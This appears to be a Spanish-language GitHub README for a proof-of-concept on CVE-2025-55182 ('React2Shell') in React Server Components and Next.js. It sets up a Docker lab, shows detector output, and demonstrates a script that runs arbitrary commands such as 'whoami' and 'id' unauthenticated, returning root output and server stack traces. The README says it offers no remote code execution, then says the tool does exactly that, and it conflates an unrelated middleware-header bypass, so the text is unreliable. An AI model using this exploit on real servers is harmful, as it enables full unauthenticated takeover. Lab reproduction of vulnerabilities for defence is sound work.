nehkark/cve-2025-55182PoC: CVE-2025-55182 (React) y CVE-2025-66478 (Next.js)
El autor no asume ninguna responsabilidad por el mal uso o daños causados por esta investigación
Proporcionado estrictamente con fines educativos y defensivos
Este repositorio contiene un pequeño laboratorio y un análisis de Prueba de Concepto para CVE-2025-55182 y su duplicado CVE-2025-66478, relacionados con React Server Components (RSC) de Next.js y el comportamiento de bypass de autorización en middleware.
El objetivo de este PoC es reproducir las condiciones internas del flujo de solicitudes necesarias para la vulnerabilidad, analizar el comportamiento del middleware y entender cómo x-middleware-subrequest afecta a las rutas protegidas bajo configuraciones específicas.
Este repositorio no proporciona ejecución remota de código
Proporciona un entorno controlado para estudiar:
NVD actualmente clasifica CVE-2025-66478 como:
Rejected reason: This CVE is a duplicate of CVE-2025-55182
El comportamiento sigue existiendo; solo cambió el identificador durante la consolidación.
x-middleware-subrequest: 1
X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
├── page/
│ └── index.js
│
├── protected/
│ └── page.js
│
└── api/
└── admin/
└── secret/
└── route.js
docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln
Este repositorio incluye un script auxiliar NextJs.py para analizar:
Ejemplo:
python3 NextJs.py -u http://localhost:3000
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Timeout : 10s
[+] TLS verify : enabled
=== Fingerprint ===
- Next.js detected via headers.
- React Server Components (RSC) detected.
- Inferred Next.js generation: Next.js (generation unclear)
=== React2Shell Probe ===
- Benign React Flight gadget executed and returned marker digest.
- This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.
=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target : http://127.0.0.1:3000
HTTP status : 500
Digest : REACT2SHELL_PROBE
Verdict : LIKELY_VULNERABLE to React2Shell-style exploit path
Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
Esta herramienta permite ejecutar código remoto de forma arbitraria sin autenticación.
Uso:
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : uname -a
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : whoami
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
root
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : id
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
POST / 500 in 10ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {